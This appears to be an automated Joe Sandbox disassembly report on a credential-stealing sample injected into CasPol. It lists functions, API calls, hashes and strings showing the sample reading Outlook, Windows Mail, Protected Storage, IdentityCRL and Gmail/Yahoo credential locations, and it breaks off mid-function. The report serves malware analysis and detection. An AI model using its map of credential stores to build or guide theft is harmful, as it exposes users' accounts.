                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$ByteCharMultiNameWidestrlen$ComputerUsermemcpy
                                                                                                                                                                  • String ID: 5$H$O$b$i$}$}
                                                                                                                                                                  • API String ID: 1832431107-3760989150
                                                                                                                                                                  • Opcode ID: dbc5b2c41103eb4c577891d3a58301c7b9bd9d40af4516c3687f3402f5e388bf
                                                                                                                                                                  • Instruction ID: 30108760c83c1dc53a9521f9e33a2a4701cfdd5ab922e7e2e5f0797d9ff7fddf
                                                                                                                                                                  • Opcode Fuzzy Hash: dbc5b2c41103eb4c577891d3a58301c7b9bd9d40af4516c3687f3402f5e388bf
                                                                                                                                                                  • Instruction Fuzzy Hash: BC51F67180029DAEDB11CFA4CC81BEEBBBCEF49314F0441AAE555E7182D7389B45CB65
                                                                                                                                                                  Function 00403C16 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 184libraryloaderCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 004107F1: FreeLibrary.KERNELBASE(?,00403C30), ref: 004107FD
                                                                                                                                                                  • LoadLibraryA.KERNEL32(pstorec.dll), ref: 00403C35
                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 00403C4A
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?), ref: 00403E54
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles, xrefs: 00403D42
                                                                                                                                                                  • Software\Microsoft\Internet Account Manager\Accounts, xrefs: 00403CD6
                                                                                                                                                                  • PStoreCreateInstance, xrefs: 00403C44
                                                                                                                                                                  • www.google.com/Please log in to your Google Account, xrefs: 00403C9A
                                                                                                                                                                  • Software\Microsoft\Office\15.0\Outlook\Profiles, xrefs: 00403D6E
                                                                                                                                                                  • www.google.com:443/Please log in to your Gmail account, xrefs: 00403C90
                                                                                                                                                                  • www.google.com:443/Please log in to your Google Account, xrefs: 00403CA4
                                                                                                                                                                  • pstorec.dll, xrefs: 00403C30
                                                                                                                                                                  • Software\Microsoft\Windows Messaging Subsystem\Profiles, xrefs: 00403D3B
                                                                                                                                                                  • Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00403CFB
                                                                                                                                                                  • www.google.com/Please log in to your Gmail account, xrefs: 00403C86
                                                                                                                                                                  • Software\Microsoft\Office\16.0\Outlook\Profiles, xrefs: 00403DA4
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Library$AddressFreeLoadProc_mbscpy
                                                                                                                                                                  • String ID: PStoreCreateInstance$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\15.0\Outlook\Profiles$Software\Microsoft\Office\16.0\Outlook\Profiles$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows Messaging Subsystem\Profiles$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles$pstorec.dll$www.google.com/Please log in to your Gmail account$www.google.com/Please log in to your Google Account$www.google.com:443/Please log in to your Gmail account$www.google.com:443/Please log in to your Google Account
                                                                                                                                                                  • API String ID: 1197458902-317895162
                                                                                                                                                                  • Opcode ID: 7553cdf7f2ce1cf444f62a1d2691c4a3b1dbf44d811f574412da19563fe3f526
                                                                                                                                                                  • Instruction ID: f12475a9e901df39a06d2b9041e3ab5decda6d4897279b708da5bb949cd86342
                                                                                                                                                                  • Opcode Fuzzy Hash: 7553cdf7f2ce1cf444f62a1d2691c4a3b1dbf44d811f574412da19563fe3f526
                                                                                                                                                                  • Instruction Fuzzy Hash: 7C51C971600201B6E714EF71CD86FDAB66CAF01709F14013FF915B61C2DBBDA658C699
                                                                                                                                                                  Function 00444C4A Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 128COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 261 444c4a-444c66 call 444e38 GetModuleHandleA 264 444c87-444c8a 261->264 265 444c68-444c73 261->265 267 444cb3-444d00 __set_app_type __p__fmode __p__commode call 444e34 264->267 265->264 266 444c75-444c7e 265->266 269 444c80-444c85 266->269 270 444c9f-444ca3 266->270 275 444d02-444d0d __setusermatherr 267->275 276 444d0e-444d68 call 444e22 _initterm __getmainargs _initterm 267->276 269->264 273 444c8c-444c93 269->273 270->264 271 444ca5-444ca7 270->271 274 444cad-444cb0 271->274 273->264 277 444c95-444c9d 273->277 274->267 275->276 280 444da4-444da7 276->280 281 444d6a-444d72 276->281 277->274 282 444d81-444d85 280->282 283 444da9-444dad 280->283 284 444d74-444d76 281->284 285 444d78-444d7b 281->285 287 444d87-444d89 282->287 288 444d8b-444d9c GetStartupInfoA 282->288 283->280 284->281 284->285 285->282 286 444d7d-444d7e 285->286 286->282 287->286 287->288 289 444d9e-444da2 288->289 290 444daf-444db1 288->290 291 444db2-444dc6 GetModuleHandleA call 40cf44 289->291 290->291 294 444dcf-444e0f _cexit call 444e71 291->294 295 444dc8-444dc9 exit 291->295 295->294
                                                                                                                                                                  APIs
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                                                                                                                                                                  • String ID: 2t
                                                                                                                                                                  • API String ID: 3662548030-3527913779
                                                                                                                                                                  • Opcode ID: a2c5e685021b953e45b16df810cc3e629d637f1bb2461c548f2803c140be0595
                                                                                                                                                                  • Instruction ID: dd0826a03bb44e9375613df7343647c7563f031d366e42a412bc6d4d3743f318
                                                                                                                                                                  • Opcode Fuzzy Hash: a2c5e685021b953e45b16df810cc3e629d637f1bb2461c548f2803c140be0595
                                                                                                                                                                  • Instruction Fuzzy Hash: AF41A0B0C02344DFEB619FA4D8847AD7BB8FB49325F28413BE451A7291D7388982CB5D
                                                                                                                                                                  Function 0040FB00 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 101registryCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 299 40fb00-40fb35 call 44b090 RegOpenKeyExA 302 40fc37-40fc3d 299->302 303 40fb3b-40fb4f RegOpenKeyExA 299->303 304 40fb55-40fb7e RegQueryValueExA 303->304 305 40fc2d-40fc31 RegCloseKey 303->305 306 40fc23-40fc27 RegCloseKey 304->306 307 40fb84-40fb93 call 404734 304->307 305->302 306->305 307->306 310 40fb99-40fbd1 call 4047a5 307->310 310->306 313 40fbd3-40fbdb 310->313 314 40fc19-40fc1d LocalFree 313->314 315 40fbdd-40fc14 memcpy * 2 call 40f802 313->315 314->306 315->314
                                                                                                                                                                  APIs
                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,Software\Microsoft\IdentityCRL,00000000,00020019,?,?,?,?,?,00403E7F,?), ref: 0040FB31
                                                                                                                                                                  • RegOpenKeyExA.ADVAPI32(?,Dynamic Salt,00000000,00020019,?,?,?,?,?,00403E7F,?), ref: 0040FB4B
                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,Value,00000000,?,?,?,?,?,?,?,00403E7F,?), ref: 0040FB76
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,00403E7F,?), ref: 0040FC27
                                                                                                                                                                    • Part of subcall function 00404734: LoadLibraryA.KERNEL32(?), ref: 0040473C
                                                                                                                                                                    • Part of subcall function 00404734: GetProcAddress.KERNEL32(00000000,?,?,00000000), ref: 00404754
                                                                                                                                                                  • memcpy.MSVCRT(?,00456E58,00000040,?,00001000,?,?,?,?,?,00403E7F,?), ref: 0040FBE4
                                                                                                                                                                  • memcpy.MSVCRT(?,?,?), ref: 0040FBF9
                                                                                                                                                                    • Part of subcall function 0040F802: RegOpenKeyExA.ADVAPI32(0040FC19,Creds,00000000,00020019,0040FC19,00456E58,00000040,?,?,0040FC19,?,?,?,?), ref: 0040F82C
                                                                                                                                                                    • Part of subcall function 0040F802: memset.MSVCRT ref: 0040F84A
                                                                                                                                                                    • Part of subcall function 0040F802: RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040F94E
                                                                                                                                                                    • Part of subcall function 0040F802: RegCloseKey.ADVAPI32(?), ref: 0040F95F
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00001000,?,?,?,?,?,00403E7F,?), ref: 0040FC1D
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,00403E7F,?), ref: 0040FC31
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: CloseOpen$memcpy$AddressEnumFreeLibraryLoadLocalProcQueryValuememset
                                                                                                                                                                  • String ID: Dynamic Salt$Software\Microsoft\IdentityCRL$Value$XnE
                                                                                                                                                                  • API String ID: 2768085393-2409096184
                                                                                                                                                                  • Opcode ID: 450d76980a5b045f2fe885eff3fb720ced70e3f8b230ed55941267a192e7c898
                                                                                                                                                                  • Instruction ID: dc42a4d3869b5799c80e2b369f36587618a74ee4c7744a3ab9dbe2425e101413
                                                                                                                                                                  • Opcode Fuzzy Hash: 450d76980a5b045f2fe885eff3fb720ced70e3f8b230ed55941267a192e7c898
                                                                                                                                                                  • Instruction Fuzzy Hash: BA316F72508348AFE750DF51DC81E5BBBECFB88358F04093EBA94E2151D735D9188B6A
                                                                                                                                                                  Function 00402C5D Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 104registryCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 317 402c5d-402c81 call 410a9c 320 402da5-402db0 317->320 321 402c87-402cb7 memset call 410b62 317->321 324 402d9c-402d9f RegCloseKey 321->324 325 402cbd-402cbf 321->325 324->320 326 402cc4-402d2d call 410b1e memset sprintf call 410a9c 325->326 331 402d3a-402d6b sprintf call 410a9c 326->331 332 402d2f-402d35 call 402bd1 326->332 336 402d7a-402d8a call 410b62 331->336 337 402d6d-402d75 call 402bd1 331->337 332->331 340 402d8f-402d94 336->340 337->336 340->326 341 402d9a-402d9b 340->341 341->324
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00410A9C: RegOpenKeyExA.KERNEL32(00401C4C,00401C4C,00000000,00020019,?,00401C4C,?,?,?), ref: 00410AAF
                                                                                                                                                                  • memset.MSVCRT ref: 00402C9D
                                                                                                                                                                    • Part of subcall function 00410B62: RegEnumKeyExA.KERNEL32(00000000,?,?,000000FF,00000000,00000000,00000000,?,?,00000000), ref: 00410B85
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 00402D9F
                                                                                                                                                                    • Part of subcall function 00410B1E: RegCloseKey.KERNEL32(000003FF,?,?,?,?,00000000,000003FF), ref: 00410B57
                                                                                                                                                                  • memset.MSVCRT ref: 00402CF7
                                                                                                                                                                  • sprintf.MSVCRT ref: 00402D10
                                                                                                                                                                  • sprintf.MSVCRT ref: 00402D4E
                                                                                                                                                                    • Part of subcall function 00402BD1: memset.MSVCRT ref: 00402BF1
                                                                                                                                                                    • Part of subcall function 00402BD1: RegCloseKey.ADVAPI32 ref: 00402C55
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: Closememset$sprintf$EnumOpen
                                                                                                                                                                  • String ID: %s\%s$Identities$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Username
                                                                                                                                                                  • API String ID: 1831126014-3814494228
                                                                                                                                                                  • Opcode ID: b1494c850d96e19dfebe9b6e5b972ea39351de22b51df2d3807edb00f3b2aba3
                                                                                                                                                                  • Instruction ID: 079f63aacd2b880b2e0576cff081af09170d207e8fe08998d1b5f7116231a607
                                                                                                                                                                  • Opcode Fuzzy Hash: b1494c850d96e19dfebe9b6e5b972ea39351de22b51df2d3807edb00f3b2aba3
                                                                                                                                                                  • Instruction Fuzzy Hash: C7313072D0011DBADB11DA91CD46FEFB77CAF14345F0404A6BA18B2191E7B8AF849B64
                                                                                                                                                                  Function 004442EA Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97stringCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0044430B
                                                                                                                                                                    • Part of subcall function 00410DBB: SHGetSpecialFolderPathA.SHELL32(00000000,00000000,0000001A,00000000,00000104), ref: 00410DF2
                                                                                                                                                                    • Part of subcall function 0040759E: strlen.MSVCRT ref: 004075A0
                                                                                                                                                                    • Part of subcall function 0040759E: strlen.MSVCRT ref: 004075AB
                                                                                                                                                                    • Part of subcall function 0040759E: _mbscat.MSVCRT ref: 004075C2
                                                                                                                                                                    • Part of subcall function 00410DBB: memset.MSVCRT ref: 00410E10
                                                                                                                                                                    • Part of subcall function 00410DBB: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000104), ref: 00410E79
                                                                                                                                                                    • Part of subcall function 00410DBB: _mbscpy.MSVCRT(00000000,?,?,?,?,?,?,00000104), ref: 00410E87
                                                                                                                                                                  • memset.MSVCRT ref: 00444379
                                                                                                                                                                  • memset.MSVCRT ref: 00444394
                                                                                                                                                                    • Part of subcall function 00410B1E: RegCloseKey.KERNEL32(000003FF,?,?,?,?,00000000,000003FF), ref: 00410B57
                                                                                                                                                                  • ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?), ref: 004443CD
                                                                                                                                                                  • strlen.MSVCRT ref: 004443DB
                                                                                                                                                                  • _strcmpi.MSVCRT ref: 00444401
                                                                                                                                                                  Strings
                                                                                                                                                                  • Software\Microsoft\Windows Live Mail, xrefs: 004443AA
                                                                                                                                                                  • Store Root, xrefs: 004443A5
                                                                                                                                                                  • \Microsoft\Windows Live Mail, xrefs: 00444350
                                                                                                                                                                  • \Microsoft\Windows Mail, xrefs: 00444329
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$strlen$Close$EnvironmentExpandFolderPathSpecialStrings_mbscat_mbscpy_strcmpi
                                                                                                                                                                  • String ID: Software\Microsoft\Windows Live Mail$Store Root$\Microsoft\Windows Live Mail$\Microsoft\Windows Mail
                                                                                                                                                                  • API String ID: 1502082548-2578778931
                                                                                                                                                                  • Opcode ID: 88eecb5596c8840dacdab9e6d9cddf85e53b3344e0b54babe6c18053d28390f2
                                                                                                                                                                  • Instruction ID: c969096c6c8075cae9da81fbffcb27ba025b1fc1210c9b39c3855a2ab2b3ab2e
                                                                                                                                                                  • Opcode Fuzzy Hash: 88eecb5596c8840dacdab9e6d9cddf85e53b3344e0b54babe6c18053d28390f2
                                                                                                                                                                  • Instruction Fuzzy Hash: A73197725083446BE320EA99DC47FCBB7DC9B85315F14441FF64897182D678E548877A
                                                                                                                                                                  Function 0040F460 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 180registryCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 363 40f460-40f5bd memset * 2 call 4078ba * 2 RegOpenKeyExA 368 40f5c3-40f5ea RegQueryValueExA 363->368 369 40f6d9-40f6df 363->369 370 40f6d0-40f6d3 RegCloseKey 368->370 371 40f5f0-40f5f4 368->371 370->369 371->370 372 40f5fa-40f604 371->372 373 40f606-40f618 call 40466b call 404734 372->373 374 40f677 372->374 384 40f66a-40f675 call 404785 373->384 385 40f61a-40f63e call 4047a5 373->385 376 40f67a-40f67d 374->376 376->370 377 40f67f-40f6bf call 4012ee RegQueryValueExA 376->377 377->370 383 40f6c1-40f6cf 377->383 383->370 384->376 385->384 390 40f640-40f643 385->390 391 40f661-40f664 LocalFree 390->391 392 40f645-40f65a memcpy 390->392 391->384 392->391
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 0040F567
                                                                                                                                                                  • memset.MSVCRT ref: 0040F57F
                                                                                                                                                                    • Part of subcall function 004078BA: _mbsnbcat.MSVCRT ref: 004078DA
                                                                                                                                                                  • RegOpenKeyExA.KERNEL32(80000001,00000082,00000000,00020019,?,?,?,?,?,00000000), ref: 0040F5B5
                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000082,?,?,?,?,00000000), ref: 0040F5E2
                                                                                                                                                                  • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,000000BE,000000BE,?,?,?,?,00000000), ref: 0040F6B7
                                                                                                                                                                    • Part of subcall function 0040466B: _mbscpy.MSVCRT(?,Cry,?,004039AA), ref: 004046BA
                                                                                                                                                                    • Part of subcall function 00404734: LoadLibraryA.KERNEL32(?), ref: 0040473C
                                                                                                                                                                    • Part of subcall function 00404734: GetProcAddress.KERNEL32(00000000,?,?,00000000), ref: 00404754
                                                                                                                                                                  • memcpy.MSVCRT(00000020,?,?,?,00000000,?,?,?,?,?,00000000), ref: 0040F652
                                                                                                                                                                  • LocalFree.KERNEL32(?,?,00000000,?,?,?,?,?,00000000), ref: 0040F664
                                                                                                                                                                  • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000), ref: 0040F6D3
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: QueryValuememset$AddressCloseFreeLibraryLoadLocalOpenProc_mbscpy_mbsnbcatmemcpy
                                                                                                                                                                  • String ID:
                                                                                                                                                                  • API String ID: 2012582556-3916222277
                                                                                                                                                                  • Opcode ID: 2cdd3cefc8e37eb3b1e9bdc7d6d5fe14681a0691d37703b2182bb496bc4646ff
                                                                                                                                                                  • Instruction ID: 8a535e2a1d92942c08e22e27bc62a3a9d9c5418ddd7b2e408e782496f1cf9495
                                                                                                                                                                  • Opcode Fuzzy Hash: 2cdd3cefc8e37eb3b1e9bdc7d6d5fe14681a0691d37703b2182bb496bc4646ff
                                                                                                                                                                  • Instruction Fuzzy Hash: 9E81FC218047CEDEDB31DBBC8C485DDBF745B17224F0843A9E5B47A2E2D3245646C7AA
                                                                                                                                                                  Function 004037CA Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 86stringCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 393 4037ca-40381c memset * 2 call 444551 396 4038e2-4038e5 393->396 397 403822-403882 call 4021b6 call 406f06 * 2 strchr 393->397 404 403884-403895 _mbscpy 397->404 405 403897-4038a2 strlen 397->405 406 4038bf-4038dd _mbscpy call 4023e5 404->406 405->406 407 4038a4-4038bc sprintf 405->407 406->396 407->406
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 004037EB
                                                                                                                                                                  • memset.MSVCRT ref: 004037FF
                                                                                                                                                                    • Part of subcall function 00444551: memset.MSVCRT ref: 00444573
                                                                                                                                                                    • Part of subcall function 00444551: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,000003FF), ref: 004445DF
                                                                                                                                                                    • Part of subcall function 00406F06: strlen.MSVCRT ref: 00406F0B
                                                                                                                                                                    • Part of subcall function 00406F06: memcpy.MSVCRT(?,00401CA1,00000000,00000000,00401CA1,00000001), ref: 00406F20
                                                                                                                                                                  • strchr.MSVCRT ref: 0040386E
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?), ref: 0040388B
                                                                                                                                                                  • strlen.MSVCRT ref: 00403897
                                                                                                                                                                  • sprintf.MSVCRT ref: 004038B7
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,?,?), ref: 004038CD
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: memset$_mbscpystrlen$Closememcpysprintfstrchr
                                                                                                                                                                  • String ID: %s@yahoo.com
                                                                                                                                                                  • API String ID: 317221925-3288273942
                                                                                                                                                                  • Opcode ID: 94ee0ce22b792c256a50841e845a97cde8158fcf202da7b3a2aba60cc9f07639
                                                                                                                                                                  • Instruction ID: 76d3f49adc6711096ede71316d8c54080aa8a6e72e6628a7d10ff16d2d587f45
                                                                                                                                                                  • Opcode Fuzzy Hash: 94ee0ce22b792c256a50841e845a97cde8158fcf202da7b3a2aba60cc9f07639
                                                                                                                                                                  • Instruction Fuzzy Hash: 4B2154B3D001285EEB11EA54DD42FDA77ACDF85308F0404EBB649F7041E678AF888A59
                                                                                                                                                                  Function 004036E5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67stringCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 409 4036e5-4036f5 410 4037c6-4037c7 409->410 411 4036fb-403709 call 410863 409->411 413 40370e-403710 411->413 414 4037c5 413->414 415 403716-40372a strchr 413->415 414->410 415->414 416 403730-403787 call 4021b6 _mbscpy * 2 strlen 415->416 419 4037a4-4037c0 _mbscpy call 4023e5 416->419 420 403789-4037a1 sprintf 416->420 419->414 420->419
                                                                                                                                                                  APIs
                                                                                                                                                                    • Part of subcall function 00410863: UuidFromStringA.RPCRT4(5e7e8100-9138-11d1-945a-00c04fc308ff,?), ref: 0041087A
                                                                                                                                                                    • Part of subcall function 00410863: UuidFromStringA.RPCRT4(00000000-0000-0000-0000-000000000000,?), ref: 00410887
                                                                                                                                                                    • Part of subcall function 00410863: memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 004108C3
                                                                                                                                                                    • Part of subcall function 00410863: CoTaskMemFree.OLE32(?), ref: 004108D2
                                                                                                                                                                  • strchr.MSVCRT ref: 0040371F
                                                                                                                                                                  • _mbscpy.MSVCRT(?,00000001,?,?,?), ref: 00403748
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?,?,00000001,?,?,?), ref: 00403758
                                                                                                                                                                  • strlen.MSVCRT ref: 00403778
                                                                                                                                                                  • sprintf.MSVCRT ref: 0040379C
                                                                                                                                                                  • _mbscpy.MSVCRT(?,?), ref: 004037B2
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _mbscpy$FromStringUuid$FreeTaskmemcpysprintfstrchrstrlen
                                                                                                                                                                  • String ID: %s@gmail.com
                                                                                                                                                                  • API String ID: 3261640601-4097000612
                                                                                                                                                                  • Opcode ID: 74159e27bd978c3f9cb24cdd3adb322da0b0d12deb1a375656cb0fbfbc9e6cd0
                                                                                                                                                                  • Instruction ID: 26c7b24e36a56a715c82424c63065c573d607dcbd7bcbeb2789f412f71db7656
                                                                                                                                                                  • Opcode Fuzzy Hash: 74159e27bd978c3f9cb24cdd3adb322da0b0d12deb1a375656cb0fbfbc9e6cd0
                                                                                                                                                                  • Instruction Fuzzy Hash: 2F21AEF290415C5AEB11DB95DCC5FDAB7FCEB54308F0405ABF108E3181EA78AB888B65
                                                                                                                                                                  Function 004034E4 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 47COMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 422 4034e4-403544 memset * 2 call 410b1e 425 403580-403582 422->425 426 403546-40357f _mbscpy call 406d55 _mbscat call 4033f0 422->426 426->425
                                                                                                                                                                  APIs
                                                                                                                                                                  • memset.MSVCRT ref: 00403504
                                                                                                                                                                  • memset.MSVCRT ref: 0040351A
                                                                                                                                                                    • Part of subcall function 00410B1E: RegCloseKey.KERNEL32(000003FF,?,?,?,?,00000000,000003FF), ref: 00410B57
                                                                                                                                                                  • _mbscpy.MSVCRT(00000000,00000000), ref: 00403555
                                                                                                                                                                    • Part of subcall function 00406D55: strlen.MSVCRT ref: 00406D56
                                                                                                                                                                    • Part of subcall function 00406D55: _mbscat.MSVCRT ref: 00406D6D
                                                                                                                                                                  • _mbscat.MSVCRT ref: 0040356D
                                                                                                                                                                  Strings
                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                  • Source File: 0000001F.00000002.565974632.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                  • Snapshot File: hcaresult_31_2_400000_CasPol.jbxd
                                                                                                                                                                  Similarity
                                                                                                                                                                  • API ID: _mbscatmemset$Close_mbscpystrlen
                                                                                                                                                                  • String ID: InstallPath$Software\Group Mail$fb.dat
                                                                                                                                                                  • API String ID: 3071782539-966475738
                                                                                                                                                                  • Opcode ID: ba1e5b879fdebbe75c382cc963f8f285cb869b8741e9311d789e5899e64a9370
                                                                                                                                                                  • Instruction ID: a2fd564f6d67a76fe1541fb13c78ccc0c8ee6374decffd3371ae058987aad369
                                                                                                                                                                  • Opcode Fuzzy Hash: ba1e5b879fdebbe75c382cc963f8f285cb869b8741e9311d789e5899e64a9370
                                                                                                                                                                  • Instruction Fuzzy Hash: C201FC7694416875E750F6659C47FCAB66CCB64705F0400A7BA48F30C2DAF8BBC486A9
                                                                                                                                                                  Function 00408DB6 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100stringCOMMON
                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                  • Executed
                                                                                                                                                                  • Not Executed
                                                                                                                                                                  control_flow_graph 431 408db6-408dbd 432 408dc4-408dd0 431->432 433 408dbf call 408d34 431->433 435 408de2 432->435 436 408dd2-408ddb 432->436 433->432 439 408de4-408de6 435->439 437 408e0d-408e1c 436->437 438 408ddd-408de0 436->438 437->439 438->435 438->436 440 408f07 439->440 441 408dec-408df2 439->441 442 408f09-408f0b 440->442 443 408df4-408e04 441->443 444 408e1e-408e25 441->444 447 408e05-408e0b 443->447 445 408e27-408e47 _mbscpy call 409240 444->445 446 408e6b-408e7e call 408f0c 444->446 454 408e49-408e59 strlen 445->454 455 408e5b-408e69 445->455 448 408e7f-408e87 LoadStringA 446->448 447->448 453 408e89 448->453 456 408f00-408f05 453->456 457 408e8b-408e9a 453->457 454->453 454->455 455->447 456->442 457->456 458 408e9c-408ea8 457->458 458->456 459 408eaa-408efe memcpy 458->459 459->440 459->456
                                                                                                                                                                  APIs
                                                                                                                                                                  • _mbscpy.MSVCRT(0045A550,strings,?,<html><head>%s<title>%s</title></head><body>%s <h3>%s</h3>,00403F8E,0044C530), ref: 00408E31
                                                                                                                                                                    • Part of subcall function 00409240: _itoa.MSVCRT ref: 00409261
                                                                                                                                                                  • strlen.MSVCRT ref: 00408E4F
                                                                                                                                                                  • LoadStringA.USER32(00000000,00000006,?,?), ref: 00408E7F
